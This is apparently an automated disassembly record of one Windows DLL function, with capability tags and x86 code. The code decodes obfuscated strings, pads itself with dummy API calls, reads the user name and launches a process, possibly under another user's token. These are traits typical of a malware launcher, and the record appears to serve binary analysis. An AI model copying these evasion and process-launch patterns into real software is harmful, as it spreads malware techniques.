Function at 0x10009d40
Capabilities:
Create process on windows
Create process suspended
Get common file path
Get disk information
Get disk size
Get session user name
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100200a1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x84c
mov eax, dword [0x100262c4]
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0x858], ecx
push 0x1002197f
lea ecx, [ebp - 0x6c4]
call fcn.1000c590
mov dword [ebp - 4], 0
push 0x104
push 0
lea eax, [ebp - 0x824]
push eax
call fcn.10016820
add esp, 0xc
mov ecx, dword [ebp - 0x858]
call fcn.1000d930
test eax, eax
je 0x10009dbd
push 0x104
lea ecx, [ebp - 0x824]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x10009dcf
push 0x104
lea edx, [ebp - 0x824]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x824]
push eax
lea ecx, [ebp - 0x594]
call fcn.1000c590
mov byte [ebp - 4], 1
push 0x10021980
lea ecx, [ebp - 0x594]
call fcn.1000c610
movzx ecx, byte [0x10021d08]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x6a8], 0
mov edx, dword [ebp - 0x148]
add edx, 1
push edx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x6a8], eax
mov ecx, dword [ebp - 0x148]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x6a8]
push edx
call fcn.10016820
add esp, 0xc
mov eax, dword [ebp - 0x148]
push eax
push str.CH__ac_b_a_b
mov ecx, dword [ebp - 0x6a8]
push ecx
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov edx, dword [ebp - 0x148]
push edx
mov eax, dword [ebp - 0x6a8]
push eax
call fcn.10011ca0
add esp, 0xc
mov ecx, dword [ebp - 0x6a8]
push ecx
lea ecx, [ebp - 0x6c4]
call fcn.10001fb0
mov edx, dword [ebp - 0x6a8]
mov dword [ebp - 0x83c], edx
mov eax, dword [ebp - 0x83c]
push eax
call fcn.1001641a
add esp, 4
lea ecx, [ebp - 0x6c4]
push ecx
lea ecx, [ebp - 0x594]
call fcn.1000c5f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
push 0
push 0x10021984
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0
push 0
push 0
push 0x10021988
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push 0x10021990
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push 0
mov ecx, dword [ebp - 0x858]
call fcn.1000e300
mov edx, dword [ebp - 0x858]
add edx, 0x1c
push edx
lea ecx, [ebp - 0x578]
call fcn.10001f40
mov byte [ebp - 4], 2
push 0x104
push 0
lea eax, [ebp - 0x6a4]
push eax
call fcn.10016820
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x6a4]
push ecx
lea ecx, [ebp - 0x578]
call fcn.10001fd0
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x10021998
lea edx, [ebp - 0x594]
push edx
lea eax, [ebp - 0x144]
push eax
call fcn.1000d3f0
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6a4]
push ecx
lea ecx, [ebp - 0x144]
call fcn.1000c610
push 0x1002199c
lea ecx, [ebp - 0x144]
call fcn.1000c610
movzx edx, byte [0x10021a9e]
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x120]
add eax, 1
push eax
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x840], eax
mov ecx, dword [ebp - 0x840]
mov dword [ebp - 0x124], ecx
mov edx, dword [ebp - 0x120]
add edx, 1
push edx
push 0
mov eax, dword [ebp - 0x124]
push eax
call fcn.10016820
add esp, 0xc
mov ecx, dword [ebp - 0x120]
push ecx
push str.p_FLF
mov edx, dword [ebp - 0x124]
push edx
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov eax, dword [ebp - 0x120]
push eax
mov ecx, dword [ebp - 0x124]
push ecx
call fcn.10011ca0
add esp, 0xc
mov edx, dword [ebp - 0x124]
push edx
lea ecx, [ebp - 0x6c4]
call fcn.10001fb0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x844], eax
mov ecx, dword [ebp - 0x844]
push ecx
call fcn.1001641a
add esp, 4
lea edx, [ebp - 0x6c4]
push edx
lea ecx, [ebp - 0x144]
call fcn.1000c5f0
mov dword [ebp - 0x714], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x710]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x714], 0x44
mov dword [ebp - 0x6e8], 1
mov word [ebp - 0x6e4], 0xa
mov dword [ebp - 0x70c], 0x100219a0
mov byte [ebp - 0x11c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x128], 0x104
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x6cc], eax
lea edx, [ebp - 0x11c]
push edx
call fcn.10017408
add esp, 4
movzx eax, byte [0x10021b2e]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x598], 0
mov ecx, dword [ebp - 0x6c8]
add ecx, 1
push ecx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x848], eax
mov edx, dword [ebp - 0x848]
mov dword [ebp - 0x598], edx
mov eax, dword [ebp - 0x6c8]
add eax, 1
push eax
push 0
mov ecx, dword [ebp - 0x598]
push ecx
call fcn.10016820
add esp, 0xc
mov edx, dword [ebp - 0x6c8]
push edx
push 0x10021b28
mov eax, dword [ebp - 0x598]
push eax
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov ecx, dword [ebp - 0x6c8]
push ecx
mov edx, dword [ebp - 0x598]
push edx
call fcn.10011ca0
add esp, 0xc
mov eax, dword [ebp - 0x598]
push eax
lea ecx, [ebp - 0x6c4]
call fcn.10001fb0
mov ecx, dword [ebp - 0x598]
mov dword [ebp - 0x84c], ecx
mov edx, dword [ebp - 0x84c]
push edx
call fcn.1001641a
add esp, 4
mov dword [ebp - 0x718], 0x400
mov byte [ebp - 0x54c], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x54b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x200
lea eax, [ebp - 0x54c]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x144]
call fcn.10001fd0
push eax
push 8
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x6c4]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x11c]
push ecx
call fcn.1001f6ae
add esp, 8
test eax, eax
je 0x1000a296
cmp dword [ebp - 0x6cc], 0
je 0x1000a296
lea edx, [ebp - 0x55c]
push edx
lea eax, [ebp - 0x714]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x54c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000a296
mov edx, dword [ebp - 0x558]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x55c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, byte [0x10021a84]
mov dword [ebp - 0x834], ecx
mov dword [ebp - 0x82c], 0
mov edx, dword [ebp - 0x834]
add edx, 1
push edx
call fcn.10015ab7
add esp, 4
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x834]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x82c]
push edx
call fcn.10016820
add esp, 0xc
mov eax, dword [ebp - 0x834]
push eax
push str.tkew
mov ecx, dword [ebp - 0x82c]
push ecx
call fcn.100164e0
add esp, 0xc
push 0x10021c4c
mov edx, dword [ebp - 0x834]
push edx
mov eax, dword [ebp - 0x82c]
push eax
call fcn.10011ca0
add esp, 0xc
mov ecx, dword [ebp - 0x82c]
push ecx
lea ecx, [ebp - 0x6c4]
call fcn.10001fb0
mov edx, dword [ebp - 0x82c]
mov dword [ebp - 0x854], edx
mov eax, dword [ebp - 0x854]
push eax
call fcn.1001641a
add esp, 4
lea ecx, [ebp - 0x6c4]
call fcn.10001fd0
push eax
lea ecx, [ebp - 0x828]
push ecx
call fcn.10013260
add esp, 8
test eax, eax
jne 0x1000a3b2
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x144]
call fcn.10001f90
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x578]
call fcn.10001f90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x594]
call fcn.10001f90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c4]
call fcn.10001f90
jmp 0x1000a434
lea edx, [ebp - 0x55c]
push edx
lea eax, [ebp - 0x714]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0x54c]
push ecx
push 0
mov edx, dword [ebp - 0x828]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x828]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x144]
call fcn.10001f90
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x578]
call fcn.10001f90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x594]
call fcn.10001f90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c4]
call fcn.10001f90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
call fcn.10015c70
pop edi
mov esp, ebp
pop ebp
ret